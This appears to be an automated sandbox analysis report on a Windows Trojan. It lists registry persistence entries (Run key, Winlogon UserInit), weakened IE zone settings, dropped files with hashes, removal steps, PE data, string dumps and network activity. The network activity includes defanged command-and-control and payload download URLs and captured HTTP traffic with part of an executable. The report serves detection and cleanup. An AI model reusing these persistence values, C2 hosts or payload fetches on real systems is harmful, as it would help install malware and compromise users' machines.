The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 42 0D 64 47 96 1F C8 7F CD 78 60 81 60 48 2A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7247]
"7247.exe" = "Remote Service Application"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

MD5	File path
9621920e41ccda1c77d975b2acfaa4e3	c:\Documents and Settings\"%CurrentUserName%"\Application Data\351dv9.exe
d2340ef740ece066503d415beb9ac276	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\0f44fa93-41f3-4e4d-8aa4-64d2fce1633c\AgileDotNetRT.dll
6f55c038af3a0585dd9f91151f61f92b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\5765856.exe
a87036573b83ca6effdda40af359c545	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\5856858568.exe
0582a4037948d46b3bf32aed9c73c498	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7247\7247.exe
7d6e6c99425e9603091f5f2312fde586	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7548
e0ade5dded52219f0f8be026f95fe3e9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\dhgjdk.exe
dbd37528d797fbead1a152a536ad50d6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ere.exe
0582a4037948d46b3bf32aed9c73c498	c:\Documents and Settings\"%CurrentUserName%"\My Documents\WindowsManager\winmgrx.exe
7d6e6c99425e9603091f5f2312fde586	c:\WINDOWS\system32\Microsoft.com

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
attrib.exe:1944
attrib.exe:912
%original file name%.exe:1328
5856858568.exe:1748
winmgrx.exe:1236
411.exe:1156
5765856.exe:304
dhgjdk.exe:224
7247.exe:676
ere.exe:168
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\dhgjdk.exe (964 bytes)
%System%\drivers\etc\hosts (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5856858568.exe (1320 bytes)
%System%\Microsoft.com (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ere.exe (27819 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5765856.exe (1012 bytes)
%System%\wbem\Logs\wbemprox.log (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\411\411.exe (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3F.tmp (2513 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cqdojqd (6577 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp\start64.bat (65 bytes)
%Program Files%\Windows Manager\winmgr.exe (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0f44fa93-41f3-4e4d-8aa4-64d2fce1633c\AgileDotNetRT.dll (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\42.tmp\start32.bat (59 bytes)
%Documents and Settings%\%current user%\Application Data\351dv9.exe (100763 bytes)
%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut41.tmp (7057 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\odavxle (15929 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7247\7247.exe (3747 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"taskmngr" = "%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe"
Remove the references to the Trojan by modifying the following registry value(s) (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"UserInit" = "%System%\userinit.exe,%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	573044	573440	4.63126	74af66fa540568c59b3868e78900e476
.rdata	577536	182122	182272	4.0072	576c856afaad699ad9fe099fc6a9ce33
.data	761856	40756	25088	1.38934	e6d2e204147f7cdc3055011093632f54
.rsrc	802816	350064	350208	5.46919	e0b3db418c8bb35011abb56f64d47aec
.reloc	1155072	42082	42496	3.63105	c2f6ddaeef894b7510c3be928eeae5dd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://h71505.srv0.test-hf.ru/plasma/gate.php	91.227.16.27
hxxp://h71505.srv0.test-hf.ru/bit/leak.exe	91.227.16.27
hxxp://h71505.srv0.test-hf.ru/bit/bat/start64.exe	91.227.16.27
hxxp://h71505.srv0.test-hf.ru/bit/bat/start32.exe	91.227.16.27
hxxp://h71505.srv0.test-hf.ru/test.exe	91.227.16.27
hxxp://185.36.100.181/94h89ehg.exe
hxxp://h71505.srv0.test-hf.ru/bit/bat/test.exe\|hgl.exe	91.227.16.27
hxxp://h71505.srv0.test-hf.ru/bit/bat/start64.exe\|fgkg.exe	91.227.16.27
gamesleak.ddns.net	95.27.123.154

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /bit/bat/test.exe|hgl.exe HTTP/1.1

User-Agent: Mozilla

Host: h71505.srv0.test-hf.ru

HTTP/1.1 404 Not Found

Server: nginx/1.6.2

Date: Wed, 24 Dec 2014 10:09:26 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2244

Connection: keep-alive

Keep-Alive: timeout=20

Vary: Accept-Encoding

Last-Modified: Sun, 27 Jul 2014 17:53:43 GMT

ETag: "1ad669-8c4-4ff307cbb37c0"

Accept-Ranges: bytes

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />...<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">...<title>404 - ................ .... ..............</title>...<link href="hXXps://VVV.host-food.ru/style.css" rel="stylesheet" type="text/css" />...<link rel="icon" href="hXXp://VVV.host-food.ru/favicon.ico" type="image/x-icon" />...<link rel="shortcut icon" href="http://VVV.host-food.ru/favicon.ico" type="image/x-icon" />...<meta http-equiv="refresh" content="60; URL=hXXp://VVV.host-food.ru/p/9374/" />..</head>..<body>...<div id="wrap" >....<div id="logo_404">.....<h1><a href="hXXp://VVV.host-food.ru/"></a></h1>.....<p>........................ .. .............. ...... .............. </p>....</div>....<div id="wrapper_404" >.....<h5 class="not_found"> ............ 404, ................ .... ...............</h5>.....<p> ................, .............. ........ ................ .............. .... ........................, ...... .... ................ ...... ............ .............</p>.....<p>.................. .........., .............. .... .............., .. .......... .................... ................ ..........: </p>.....<ul id="n

<<< skipped >>>

POST /plasma/gate.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: h71505.srv0.test-hf.ru

Content-Length: 194

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

GET /94h89ehg.exe HTTP/1.1

Host: 185.36.100.181

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 24 Dec 2014 10:09:19 GMT

Content-Type: application/octet-stream

Content-Length: 4532224

Connection: keep-alive

Keep-Alive: timeout=60

Last-Modified: Tue, 23 Dec 2014 19:18:11 GMT

ETag: "42008-452800-50ae70937745b"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......T..................E..$E.....~<E.. ...`E...@.. ........................E...........@.................................$<E.W....@E......................`E......<E.............................................. ............... ..H............text...L.E.. ....E................. ..`.rsrc........@E...... E.............@..@.reloc.......`E......&E.............@..B................`<E.....H.......4/...m..............hWD.........................................a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.0.1.2.3.4.5.6.7.8.9.0.1.2.3.4.5.6.7.8.9...U....\...I_.3pR&......!sc.\......s..oz..X<|..!,S.g.....B..i..M'..o...B....p^.#jB...|-.c.V>(..p....:....0...........*...0..........*....0...........*...0..........*....0...........*...0..........*....0...........*...0..........*....0...........*...0..........*....0...........*...0..........*....0...........*...0..........*.....(....*.0..........*...Ad..............{.......................b...............~...2........................................0...........*....(....*.0...........*..AL......5...h...........................................f...K................0...........*...0...........*...0...........*...0...........*...0...........*..AL..........................................D...............2...8............0...........*..A4......................1............................0...........*........u.F...........F.....

<<< skipped >>>

GET /bit/bat/start64.exe|fgkg.exe HTTP/1.1

User-Agent: Mozilla

Host: h71505.srv0.test-hf.ru

HTTP/1.1 404 Not Found

Server: nginx/1.6.2

Date: Wed, 24 Dec 2014 10:09:26 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2244

Connection: keep-alive

Keep-Alive: timeout=20

Vary: Accept-Encoding

Last-Modified: Sun, 27 Jul 2014 17:53:43 GMT

ETag: "1ad669-8c4-4ff307cbb37c0"

Accept-Ranges: bytes

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

cmd.exe_1516:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

msvcrt.dll

USER32.dll

SetConsoleInputExeNameW

APerformUnaryOperation: '%c'

APerformArithmeticOperation: '%c'

ADVAPI32.dll

SHELL32.dll

MPR.dll

RegEnumKeyW

RegDeleteKeyW

RegCloseKey

RegOpenKeyW

RegCreateKeyExW

RegOpenKeyExW

ShellExecuteExW

CmdBatNotification

GetWindowsDirectoryW

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

_pipe

GetProcessWindowStation

cmd.pdb

start Steam.exe

tart Steam.exe

m.exe

CMD Internal Error %s

)(&&())))(&))

)&((&)&))&())

)&((&)&)&()))

)(&&()))&))))

CMD.EXE

()|&=,;"

COPYCMD

\XCOPY.EXE

CMDCMDLINE

WKERNEL32.DLL

Software\Policies\Microsoft\Windows\System

0123456789

cmd.exe

DIRCMD

%d.%d.d

Ungetting: '%s'

DisableCMD

GeToken: (%x) '%s'

%s\Shell\Open\Command

%x %c

*** Unknown type: %x

Args: `%s'

Cmd: %s Type: %x

%s (%s) %s

Settings\Temp\40.tmp\start64.bat"

team.exe

cal Settings\Temp\40.tmp\start64.bat"

.bat" "

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

%WinDir%;%WinDir%\System32\Wbem;c:\Program Files\Wireshark

CMDEXTVERSION

KEYS

eam.exe

%s %s

(%s) %s

%s %s%s

&()[]{}^=;!%' ,`~

d%sd%s

-%sd%sd%sd

d%sd%sd

%s=%s

X-X

.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS

-*/%()|^&=,

\CMD.EXE

Windows Command Processor

5.1.2600.5512 (xpsp.080413-2111)

Cmd.Exe

Windows

Operating System

5.1.2600.5512

Press any key to continue . . . %0

operable program or batch file.

The system cannot execute the specified program.

and press any key when ready. %0

Microsoft Windows XP [Version %1]%0

a pipe operation.

KEYS is on.

KEYS is off.

The process tried to write to a nonexistent pipe.

The switch /Y may be preset in the COPYCMD environment variable.

to prompt on overwrites unless COPY command is being executed from

Switches may be preset in the DIRCMD environment variable. Override

Quits the CMD.EXE program (command interpreter) or the current batch

CMD.EXE. If executed from outside a batch script, it

will quit CMD.EXE

ERRORLEVEL that number. If quitting CMD.EXE, sets the process

Displays or sets a search path for executable files.

Type PATH ; to clear all search-path settings and direct cmd.exe to search

Changes the cmd.exe command prompt.

$B | (pipe)

$V Windows XP version number

Displays, sets, or removes cmd.exe environment variables.

Displays the Windows XP version.

Tells cmd.exe whether to verify that your files are written correctly to a

Records comments (remarks) in a batch file or CONFIG.SYS.

Press any key to continue . . . %0

Directs cmd.exe to a labeled line in a batch program.

NOT Specifies that Windows XP should carry out

will execute the command after the ELSE keyword if the

I The new environment will be the original environment passed

to the cmd.exe and not the current environment.

SEPARATE Start 16-bit Windows program in separate memory space

SHARED Start 16-bit Windows program in shared memory space

If it is an internal cmd command or a batch file then

the command processor is run with the /K switch to cmd.exe.

If it is not an internal cmd command or batch file then

parameters These are the parameters passed to the command/program

under Windows XP.

Starts a new instance of the Windows XP command interpreter

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]

/D Disable execution of AutoRun commands from registry (see below)

/A Causes the output of internal commands to a pipe or file to be ANSI

/U Causes the output of internal commands to a pipe or file to be

variable var at execution time. The %var% syntax expands variables

of an executable file.

If /D was NOT specified on the command line, then when CMD.EXE starts, it

either or both are present, they are executed first.

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

can enable or disable extensions for all invocations of CMD.EXE on a

following REG_DWORD values in the registry using REGEDT32.EXE:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions

particular invocation of CMD.EXE with the /V:ON or /V:OFF switch. You

can enable or disable completion for all invocations of CMD.EXE on a

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion

at execution time.

CMD.EXE with the /F:ON or /F:OFF switch. You can enable or disable

completion for all invocations of CMD.EXE on a machine and/or user logon

the registry using REGEDT32.EXE:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar

Shift key with the control character will move through the list

&()[]{}^=;!%' ,`~

Command Processor Extensions enabled by default. Use CMD /? for details.

ASSOC [.ext[=[fileType]]]

.ext Specifies the file extension to associate the file type with

ASSOC .pl=PerlScript

FTYPE PerlScript=perl.exe %%1 %%*

script.pl 1 2 3

set PATHEXT=.pl;%%PATHEXT%%

The restartable option to the COPY command is not supported by

this version of the operating system.

The following usage of the path operator in batch-parameter

The unicode output option to CMD.EXE is not supported by this

version of the operating system.

If Command Extensions are enabled the DATE command supports

If Command Extensions are enabled the TIME command supports

If Command Extensions are enabled the PROMPT command supports

is pretty simple and supports the following operations, in decreasing

! ~ - - unary operators

* / %% - arithmetic operators

- - arithmetic operators

&= ^= |= >=

If you use any of the logical or modulus operators, you will need to

values. If SET /A is executed from the command line outside of a

assignment operator requires an environment variable name to the left of

the assignment operator. Numeric values are decimal numbers, unless

occurrence of the remaining portion of str1.

Finally, support for delayed environment variable expansion has been

added. This support is always disabled by default, but may be

enabled/disabled via the /V command line switch to CMD.EXE. See CMD /?

of text is read, not when it is executed. The following example

So the actual FOR loop we are executing is:

%Ã%% - expands to the current directory string.

%ÃšTE%% - expands to current date using same format as DATE command.

%%CMDEXTVERSION%% - expands to the current Command Processor Extensions

%%CMDCMDLINE%% - expands to the original command line that invoked the

If Command Extensions are enabled the SHIFT command supports

control is passed to the statement after the label specified. You must

%%4 %%5 ...)

CMD /? for details.

This works because on old versions of CMD.EXE, SETLOCAL does NOT

command execution.

non-executable files may be invoked through their file association just

by typing the name of the file as a command. (e.g. WORD.DOC would

launch the application associated with the .DOC file extension).

When executing an application that is a 32-bit GUI application, CMD.EXE

the command prompt. This new behavior does NOT occur if executing

When executing a command line whose first token is the string "CMD "

without an extension or path qualifier, then "CMD" is replaced with

the value of the COMSPEC variable. This prevents picking up CMD.EXE

When executing a command line whose first token does NOT contain an

extension, then CMD.EXE uses the value of the PATHEXT

.COM;.EXE;.BAT;.CMD

When searching for an executable, if there is no match on any extension,

If Command Extensions are enabled, and running on the Windows XP

forms of the FOR command are supported:

Walks the directory tree rooted at [drive:]path, executing the FOR

passes the first blank separated token from each line of each file.

is a quoted string which contains one or more keywords to specify

different parsing options. The keywords are:

be passed to the for body for each iteration.

where a back quoted string is executed as a

FOR /F "eol=; tokens=2,3* delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k

would parse each line in myfile.txt, ignoring lines that begin with

a semicolon, passing the 2nd and 3rd token from each line to the for

line, which is passed to a child CMD.EXE and the output is captured

IF CMDEXTVERSION number command

The CMDEXTVERSION conditional works just like ERRORLEVEL, except it is

CMDEXTVERSION conditional is never true when Command Extensions are

%%CMDCMDLINE%% will expand into the original command line passed to

CMD.EXE prior to any processing by CMD.EXE, provided that there is not

already an environment variable with the name CMDCMDLINE, in which case

%%CMDEXTVERSION%% will expand into a string representation of the

current value of CMDEXTVERSION, provided that there is not already

an environment variable with the name CMDEXTVERSION, in which case you

under Windows XP, as command line editing is always enabled.

CMD.EXE was started with the above path as the current directory.

UNC paths are not supported. Defaulting to Windows directory.

CMD does not support UNC paths as current directories.

UNC paths not supported for current directory. Using

to create temporary drive letter to support UNC current

Missing operand.

Missing operator.

The COMSPEC environment variable does not point to CMD.EXE.

The FAT File System only support Last Write Times

of a batch script is reached, an implied ENDLOCAL is executed for any

application execution.

The switch /Y may be present in the COPYCMD environment variable.

to prompt on overwrites unless MOVE command is being executed from

when CMD.EXE started. This value either comes from the current console

The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute

5856858568.exe_1748:

.code

`.text

`.rdata

@.data

.rsrc

u&SSh2

2147483648

SHELL32.DLL

WindowClass_%d

Kernel32.DLL

Please enter the password.

This program is not supported on this operating system.

Password

-b2epass

Wrong password.

MSVCRT.dll

KERNEL32.dll

COMCTL32.dll

EnumWindows

MsgWaitForMultipleObjects

GetKeyState

EnumChildWindows

USER32.dll

GDI32.dll

OLE32.dll

ShellExecuteExA

SHELL32.dll

SHLWAPI.dll

start Steam.exe

PAstart64.bat

version="1.0.0.0"

name="CompanyName.ProductName.YourApp"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

5765856.exe_304:

.code

`.text

`.rdata

@.data

.rsrc

u&SSh2

2147483648

SHELL32.DLL

WindowClass_%d

Kernel32.DLL

Please enter the password.

This program is not supported on this operating system.

Password

-b2epass

Wrong password.

MSVCRT.dll

KERNEL32.dll

COMCTL32.dll

EnumWindows

MsgWaitForMultipleObjects

GetKeyState

EnumChildWindows

USER32.dll

GDI32.dll

OLE32.dll

ShellExecuteExA

SHELL32.dll

SHLWAPI.dll

start Steam.exe

PAstart32.bat

version="1.0.0.0"

name="CompanyName.ProductName.YourApp"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

cmd.exe_1840:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

msvcrt.dll

USER32.dll

SetConsoleInputExeNameW

APerformUnaryOperation: '%c'

APerformArithmeticOperation: '%c'

ADVAPI32.dll

SHELL32.dll

MPR.dll

RegEnumKeyW

RegDeleteKeyW

RegCloseKey

RegOpenKeyW

RegCreateKeyExW

RegOpenKeyExW

ShellExecuteExW

CmdBatNotification

GetWindowsDirectoryW

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

_pipe

GetProcessWindowStation

cmd.pdb

start Steam.exe

tart Steam.exe

m.exe

CMD Internal Error %s

)(&&())))(&))

)&((&)&))&())

)&((&)&)&()))

)(&&()))&))))

CMD.EXE

()|&=,;"

COPYCMD

\XCOPY.EXE

CMDCMDLINE

WKERNEL32.DLL

Software\Policies\Microsoft\Windows\System

0123456789

cmd.exe

DIRCMD

%d.%d.d

Ungetting: '%s'

DisableCMD

GeToken: (%x) '%s'

%s\Shell\Open\Command

%x %c

*** Unknown type: %x

Args: `%s'

Cmd: %s Type: %x

%s (%s) %s

Local Settings\Temp\42.tmp\start32.bat"

team.exe

adm\Local Settings\Temp\42.tmp\start32.bat"